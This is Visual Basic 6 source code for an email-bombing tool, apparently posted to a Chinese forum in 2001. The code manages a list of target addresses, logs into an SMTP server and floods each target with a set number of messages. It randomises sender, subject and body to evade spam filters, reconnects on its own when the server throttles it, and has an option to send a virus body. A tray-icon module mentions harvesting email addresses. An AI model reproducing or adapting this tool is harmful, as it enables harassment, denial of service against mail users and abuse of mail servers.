dir.Filter = "邮件列表文件(*.txt)|*.txt|任意格式文件(*.*)|*.*"
dir.FilterIndex = 1
dir.DialogTitle = "保存黑名单"
dir.Flags = cdlOFNOverwritePrompt
On Error GoTo error:
dir.ShowSave
SaveFileName = dir.FileName
Open SaveFileName For Output As #1
For i = 0 To List1.ListCount - 1
  Print #1, List1.List(i)
  k = ((i + 1) / List1.ListCount) * 100
  Me.Caption = "正在保存第" & i + 1 & "条记录" & "进度:" & k & "%"
  ProgressBar1.Value = k
  Next i
Close #1
Me.Caption = "保存完毕!"
ProgressBar1.Value = 0
Exit Sub
error:
   If dir.FileName = "" Then Exit Sub
   MsgBox "写文件出错!"
End Sub
Private Sub a1()
Dim correct As Integer
Dim mailadd As String
mailadd = InputBox("请输入您想增加的目标地址:", "锁定目标")
        correct = CheckMailAdr(mailadd)
        If correct Then
         List1.AddItem LCase(mailadd)
         TargetNum = List1.ListCount
         Me.Caption = "攻击列表中共有" + Str(List1.ListCount) + "个电子邮件地址"
        End If
End Sub
Private Sub a2()
On Error Resume Next
List1.RemoveItem List1.ListIndex
Me.Caption = "攻击列表中共有" + Str(List1.ListCount) + "个电子邮件地址"
TargetNum = List1.ListCount
End Sub
Private Sub a3()
PopupMenu mnumailsend
End Sub
Private Sub send_Click()
Winsock1.Close
Me.Caption = "正在攻击..."
CmdStop.Enabled = True
Dim k As Integer
Dim i As Integer
Dim j As Integer
k = InStr(1, txtFrom, "@")
If txtTo.Text = "" Or txtFrom.Text = "" Or txtSMTPServer.Text = "" Then
MsgBox "请填全所有必要的信息!", vbOKOnly + vbInformation, "提示"
Exit Sub
End If
If Left(Trim(txtTo.Text), 10) = "monkeystar" Or Left(Trim(txtTo.Text), 8) = "funlucky" Then
MsgBox "禁止轰炸受保护信箱!", vbCritical, "警告:"
 Exit Sub
End If
MailBody = txtContent.Text
If chkSMTP.Value = 1 Then
User = Trim(TxtUser)
pwd = Trim(txtPwd)
End If
Tim_Speed.Enabled = True
Timer1.Enabled = True
status.Caption = "登录中"
StatusBar1.Panels(8).Text = txtTo.Text
SmallStatus
'设置WinSock使用的服务器和端口
Winsock1.RemoteHost = txtSMTPServer.Text
Winsock1.RemotePort = 25
ProgressBar1.Value = 5
If txtSender = "" Then
txtSender = Mid(txtFrom, 1, k - 1)
End If
m_State = 1
Winsock1.Connect '连接到服务器
End Sub
Private Sub StatusBar1_OLEDragDrop(Data As MSComctlLib.DataObject, Effect As Long, Button As Integer, Shift As Integer, x As Single, y As Single)
Dim i As Integer
Dim FName As String
  If Data.GetFormat(vbCFFiles) Then
    For i = 1 To Data.Files.count
       FName = Data.Files(i)
       InputFromFile (FName)
    Next i
  End If
End Sub
Private Sub StatusBar1_PanelDblClick(ByVal Panel As MSComctlLib.Panel)
If Large_Or_Small = True Then
SmallStatus
Else
LargeStatus
End If
End Sub
Private Sub Tim_Speed_Timer()
Dim ShowValue As Single
ShowValue = CStr(mailnumber - count1) / 2
If ShowValue > 0 And ShowValue < 1 Then
StatusBar1.Panels(6).Text = "0" & CStr(mailnumber - count1) / 2 & "M/S"
Me.Caption = "速度:" & "0" & CStr(mailnumber - count1) / 2
Else
StatusBar1.Panels(6).Text = CStr(mailnumber - count1) / 2 & "M/S"
Me.Caption = "速度:" & CStr(mailnumber - count1) / 2
End If
count1 = mailnumber
End Sub
Private Sub Timer1_Timer()
status.Caption = "连接超时"
Me.Caption = "登录失败!"
Timer1.Enabled = False
Tim_Speed.Enabled = False
ProgressBar1.Value = 0
Winsock1.Close
If MnuConnectAuto.Checked Then
send_Click
End If
End Sub
Private Sub Toolbar1_ButtonClick(Index As Integer, ByVal Button As MSComctlLib.Button)
Dim i As Integer
Dim j As Integer
Select Case Index
    Case 0
        a1
    Case 1
        a2
    Case 2
        PopupMenu MnuAttack
    Case 3
      
       send_Click
    Case 4
      
    Case 5
       
    Case 6
       If Check1.Value <> 1 Then
       Exit Sub
       Else
       attack.Show
       End If
   Case 7
   Case 8
   If txtFrom.Text <> "" And txtSubject <> "" And txtTo <> "" And txtSMTPServer <> "" Then
    
   Else
   MsgBox "请填全所有必要信息!"
   End If
   
End Select
End Sub
Function CheckA(indata)
If (indata >= "a" And indata <= "z") Or (indata >= "A" And indata <= "Z") Or (indata >= "0" And indata <= "9") Or indata = "_" Or indata = "." Or indata = "-" Then
  CheckA = 1
Else
CheckA = 0
End If
End Function
Private Sub SmallStatus()
StatusChange (False)
Me.Height = ProgressBar1.Height + StatusBar1.Height + 500
status.Top = StatusBar1.Top - 300
ProgressBar1.Top = StatusBar1.Top - 400
send.Top = StatusBar1.Top - 400
CmdStop.Top = StatusBar1.Top - 400
End Sub
Function StatusChange(ByVal flag As Boolean)
Label7.Visible = flag
txtSender.Visible = flag
MnuApply.Visible = flag
MnuNetAdr.Visible = flag
MnuReadme.Visible = flag
MnuAttack.Visible = flag
MnuBombKind.Visible = flag
MnuAnti.Visible = flag
MnuMailGet.Visible = flag
Large_Or_Small = flag
Label1.Visible = flag
txtFrom.Visible = flag
Label2.Visible = flag
txtTo.Visible = flag
chkSMTP.Visible = flag
Label6.Visible = flag
Combo1.Visible = flag
Label5.Visible = flag
txtSMTPServer.Visible = flag
Frame1.Visible = flag
Label9.Visible = flag
TxtUser.Visible = flag
Label10.Visible = flag
txtPwd.Visible = flag
Label3.Visible = flag
txtSubject.Visible = flag
Label4.Visible = flag
txtContent.Visible = flag
End Function
Private Sub LargeStatus()
StatusChange (True)
Me.Height = 5910
status.Top = StatusBar1.Top - 300
ProgressBar1.Top = StatusBar1.Top - 400
send.Top = StatusBar1.Top - 400
CmdStop.Top = StatusBar1.Top - 400
End Sub
Function MyASC(OneChar)
If OneChar = "" Then MyASC = 0 Else MyASC = Asc(OneChar)
End Function
Private Function Base64Encode(indata)
'作用:将字符串inData转换为Base64编码格式的字符串,作为函数返回值
Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
Dim cOut, sOut, i
'每组数据三字节
For i = 1 To Len(indata) Step 3
Dim nGroup As Long
Dim pOut, sGroup
'为三个字节创建一个长整型的整数(四字节)
nGroup = &H10000 * Asc(Mid(indata, i, 1)) + &H100 * MyASC(Mid(indata, i + 1, 1)) + MyASC(Mid(indata, i + 2, 1))
'Oct分割长整型为8组3bit的字符组合
sGroup = Oct(nGroup)
'添加前导零位
sGroup = String(8 - Len(sGroup), "0") & sGroup
'转化为base64字符串
pOut = Mid(Base64, CLng("&o" & Mid(sGroup, 1, 2)) + 1, 1) + Mid(Base64, CLng("&o" & Mid(sGroup, 3, 2)) + 1, 1) + Mid(Base64, CLng("&o" & Mid(sGroup, 5, 2)) + 1, 1) + Mid(Base64, CLng("&o" & Mid(sGroup, 7, 2)) + 1, 1)
'添加到输出字符串
sOut = sOut + pOut
'为每76个字符添加一个新行(76*3/4=57)
If (i + 2) Mod 57 = 0 Then sOut = sOut + vbCrLf
Next
Select Case Len(indata) Mod 3
Case 1: '8 bit
 sOut = Left(sOut, Len(sOut) - 2) + "=="
Case 2: '16 bit
 sOut = Left(sOut, Len(sOut) - 1) + "="
End Select
Base64Encode = sOut
End Function
Private Sub txtFrom_LostFocus()
'作用:根据发送人信息,自动填写用户名和SMTP服务器
If chkSMTP.Value = 1 Then
Dim i As Integer
i = InStr(1, txtFrom, "@")
If i <> 0 Then
  TxtUser = Mid(txtFrom, 1, i - 1)
  txtSMTPServer = "smtp." & Mid(txtFrom, i + 1, Len(txtFrom) - i)
  ElseIf i = 0 And txtFrom <> "" Then
  MsgBox "发信人地址格式错误", vbCritical, "提示:"
  txtFrom.SetFocus
  End If
End If
End Sub
Private Sub txtTo_LostFocus()
Dim i As Integer
Dim correct As Integer
correct = CheckMailAdr(txtTo)
i = InStr(1, txtTo, ";")
If i <> 0 And correct Then
Split_to
txtTo.Text = Left(txtTo.Text, i - 1)
End If
End Sub
Function CheckMailAdr(ByVal Addr As String)
Dim i As Integer
Dim j As Integer
j = InStr(1, Addr, ".")
i = InStr(1, Addr, "@")
If (i = 0 Or j = 0) And Addr <> "" Then
 MsgBox "收信人地址格式错误", vbCritical, "提示:"
 txtTo.SetFocus
 CheckMailAdr = 0
ElseIf Addr = "" Then
 CheckMailAdr = 0
Else
 CheckMailAdr = 1
End If
End Function
Private Sub Split_to()
Dim i As Integer
Dim varlines As Variant
Dim varline As Variant
Dim strmessage As String
strmessage = txtTo.Text
List1.Clear
varlines = Split(strmessage, ";")
For Each varline In varlines
i = InStr(1, varline, "@")
If i Then
List1.AddItem LCase(CStr(varline))
End If
Next
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim LineString As String
  If Winsock1.state = 0 Or Winsock1.state = 8 Or Winsock1.state = 9 Then Exit Sub
  Timer1.Enabled = False
  On Error GoTo error:
  Winsock1.GetData strServerResponse
  strResponseCode = Left(strServerResponse, 3)
  If strResponseCode = "250" Or strResponseCode = "220" Or strResponseCode = "354" Or strResponseCode = "221" Or strResponseCode = "235" Or strResponseCode = "334" Then
    Select Case m_State
       Case 1
         ProgressBar1.Value = 10
         strDataToSend = Trim$(txtFrom)
         strDataToSend = Left$(strDataToSend, InStr(1, strDataToSend, "@") - 1)
         status.Caption = "已连接"
         If chkSMTP Then
           Winsock1.SendData "EHLO " & strDataToSend & vbCrLf
           m_State = 2
         Else
           Winsock1.SendData "HELO " & strDataToSend & vbCrLf
           m_State = 5
         End If
       Case 2
         m_State = 3
         status.Caption = "正在认证"
         ProgressBar1.Value = 15
         Winsock1.SendData "AUTH LOGIN" & vbCrLf
       Case 3
         m_State = 4
         ProgressBar1.Value = 20
         Winsock1.SendData Base64Encode(User) & vbCrLf
       Case 4
         m_State = 5
         ProgressBar1.Value = 25
         Winsock1.SendData Base64Encode(pwd) & vbCrLf
       Case 5
         ProgressBar1.Value = 30
         m_State = 6
         status.Caption = "正在发送"
         Winsock1.SendData "MAIL FROM:" & Trim$(txtFrom.Text) & vbCrLf
       Case 6
         m_State = 7
         ProgressBar1.Value = 40
         Winsock1.SendData "RCPT TO:" & Trim$(txtTo.Text) & vbCrLf
       Case 7
         m_State = 8
         ProgressBar1.Value = 50
         Winsock1.SendData "DATA" & vbCrLf
       Case 8
         m_State = 5
         ProgressBar1.Value = 60
         Randomize
         If MnuAntiFrom.Checked Then
          txtSender = RandomContent(Int((15 - 5 + 1) * Rnd) + 5)
         End If
         If MnuAntiSubject.Checked Then
          txtSubject = RandomContent(Int((20 - 5 + 1) * Rnd) + 5)
         End If
         If MnuAntiContent.Checked Then
          txtContent = RandomContent(Int((2000 - 1000 + 1) * Rnd) + 1000)
         End If
         If MnuKindText.Checked Then
          Winsock1.SendData "from: " & txtSender & vbCrLf & "subject: " & txtSubject & vbCrLf & "MIME-Version: 1.0" & vbCrLf & Priority & MailBody & vbCrLf & "." & vbCrLf
          ProgressBar1.Value = 80
         ElseIf Not MnuKindText.Checked And OEFName = "" Then
          Winsock1.SendData "from: " & txtSender & vbCrLf & "subject: " & txtSubject & vbCrLf & "MIME-Version: 1.0" & vbCrLf & Priority & VirusBody & vbCrLf & "." & vbCrLf
          ProgressBar1.Value = 80
         Else
          If OEFName = "" Then
            MsgBox "错误选择OE或Mht文档!", vbCritical, "提示"
            Winsock.Close
            Exit Sub
          End If
          Open OEFName For Input As #1
          While Not EOF(1)
          Line Input #1, LineString
          LineString = LineString & vbCrLf
          Winsock1.SendData LineString
          Wend
          Close #1
          Winsock1.SendData vbCrLf & "." & vbCrLf
         End If
         status.Caption = "发送完成"
         ProgressBar1.Value = 100
         mailnumber = mailnumber + 1
         StatusBar1.Panels(4).Text = CStr(mailnumber)
         If mailnumber < BombNumber Then
          m_State = 5
         ElseIf mailnumber >= BombNumber And List1.ListIndex < List1.ListCount - 1 Then
         List1.ListIndex = List1.ListIndex + 1
         txtTo.Text = List1.Text
         StatusBar1.Panels(8).Text = txtTo.Text
         mailnumber = 0
         count1 = 0
         m_State = 5
         Else: m_State = 9: Tim_Speed.Enabled = False: mailnumber = 0: StatusBar1.Panels(4).Text = "0"
         End If
       Case 9
         m_State = 10
         status.Caption = "攻击成功"
         Winsock1.SendData "QUIT" & vbCrLf
       Case 10
         Winsock1.Close
         MsgBox "目标已攻击完毕!", vbInformation, "报告:"
         Exit Sub
       End Select
  Else
    If strResponseCode = "535" Then
    MsgBox "错误的用户名或密码", vbInformation, "验证错误"
    Winsock1.Close
    Exit Sub
    End If
    If strResponseCode = "421" Or strResponseCode = "552" Then
    Winsock1.Close
    send_Click
    Exit Sub
    End If
    If Not (m_State = 9 Or m_State = 10) Then
error: MsgBox "服务返回码:" & strResponseCode & vbCrLf & "服务器信息:" & strServerResponse & vbCrLf & "发信状态号:" & m_State & vbCrLf & "出错描述: " & Err.Description, vbInformation, "发信出错"
    Winsock1.Close
    Exit Sub
    End If
  End If
End Sub
Function RandomContent(ByVal Length As Integer)
Dim i As Integer
Dim TempString As String
Dim TempChar As String
Dim x As Integer
Randomize
For i = 1 To Length
x = Int((122 - 48 + 1) * Rnd) + 48
If x > 57 And x < 65 Or x > 90 And x < 97 Then
x = x + 7
End If
TempString = TempString + Chr(x)
Next i
RandomContent = TempString
End Function

补充日期: 2001-12-17 19:52:22

主模块源代码,主要用Shell_NotifyIcon 完成最小化到任务条里、驻留内存调用form1的提取email地址功能
Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Public Declare Function Shell_NotifyIcon Lib "shell32.dll" Alias "Shell_NotifyIconA" (ByVal dwMessage As Long, lpData As NOTIFYICONDATA) As Long
Public Declare Function DrawIcon Lib "user32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal hicon As Long) As Long
Public Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Public Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
Public Declare Function TrackPopupMenu Lib "user32" (ByVal hMenu As Long, ByVal wFlags As Long, ByVal x As Long, ByVal y As Long, ByVal nReserved As Long, ByVal hwnd As Long, lprc As Any) As Long
Public Declare Function GetMenu Lib "user32" (ByVal hwnd As Long) As Long
Public Declare Function GetSubMenu Lib "user32" (ByVal hMenu As Long, ByVal nPos As Long) As Long
Public Type POINTAPI
  x As Long
  y As Long
End Type
Public Type NOTIFYICONDATA
  cbSize As Long          '结构的长度
  hwnd As Long           '消息接收窗口的句柄
  uID As Long            '图标的标识
  uFlags As Long          '设置参数
  uCallbackMessage As Long     '回调消息的值
  hicon As Long           '图标句柄
  szTip As String * 64       '提示字符串
End Type
Public Const NIM_ADD = 0       '添加图标
Public Const NIM_MODIFY = 1      '修改图标
Public Const NIM_DELETE = 2      '删除图标
Public Const NIF_MESSAGE = 1     '当有鼠标事件发生时产生消息
Public Const NIF_ICON = 2       '
Public Const NIF_TIP = 4       '图标有提示字符串
Public Const WM_LBUTTONDOWN = &H201
Public Const WM_RBUTTONDOWN = &H204
Public Const WM_USER = &H400
Public Const WM_NOTIFYICON = WM_USER + &H100
Public Const WM_COMMAND = &H111
Public Const WM_DESTROY = &H2
Public Const WM_DRAWITEM = &H2B
Public Const WM_INITDIALOG = &H110
Public Const WM_PAINT = &HF
Public Const WM_MENUSELECT = &H11F
Public Const GWL_WNDPROC = (-4) '替换窗口处理函数
Dim pmenu As Long
Dim submenu As Long
Global lproc As Long
Function CMenu() As Boolean
'这个函数获得Form1的子菜单
 Dim l As Long
 Dim l1 As Long
 pmenu = GetMenu(Form1.hwnd)
 submenu = GetSubMenu(pmenu, 0)
 If submenu Then
  CMenu = True
 Else
  CMenu = False
 End If
End Function
Function Icon_Del(ihwnd As Long) As Long
 Dim ano As NOTIFYICONDATA
 Dim l As Long
 ano.hwnd = ihwnd
 ano.uID = 0
 ano.cbSize = Len(ano)
 '删除图标
 Icon_Del = Shell_NotifyIcon(NIM_DELETE, ano)
End Function
'这个函数接收图标句柄和窗口句柄并且新建图标
Function Icon_Add(ihwnd As Long, hicon As Long) As Long
 Dim ano As NOTIFYICONDATA
 Dim astr As String
 
 '为图标添加提示行
 astr = "自动信箱收信机工作中..."
 ano.szTip = astr + Chr$(0)
 '设置消息接收窗口
 ano.hwnd = ihwnd
 ano.uID = 0
 '图标有提示并且可以发送消息
 ano.uFlags = NIF_ICON Or NIF_TIP Or NIF_MESSAGE
 ano.hicon = hicon
 ano.cbSize = Len(ano)
  '将图标的回调消息设置为WM_NOTIFYICON,当在图标区域有鼠标消息,系统就会向
 '消息接收窗口发送WM_NOTIFYICON消息。
 ano.uCallbackMessage = WM_NOTIFYICON
 Icon_Add = Shell_NotifyIcon(NIM_ADD, ano)
End Function
Function DialogProc(ByVal hwnd As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
'该函数为Form2的窗口处理函数。
 Dim l As Long
 Dim l1 As Long
 Dim po As POINTAPI
 Select Case uMsg
  Case WM_INITDIALOG
  Case WM_DESTROY
  Case WM_COMMAND
  Case WM_DRAWITEM
  Case WM_NOTIFYICON '有鼠标事件产生
   Select Case lParam
    Case WM_LBUTTONDOWN   '按下鼠标左键
      '提示是否删除图标
      Form1.Show
      Form1.WindowState = vbNormal
     
    Case WM_RBUTTONDOWN   '按下鼠标右键弹出菜单
     If submenu Then
       Form1.Show
     End If
    Case Else
   End Select
  Case Else
   DialogProc = False
 End Select
 DialogProc = True
End Function
 

补充日期: 2001-12-17 20:28:19

不好意思,长了点,大家还是去下源文件吧!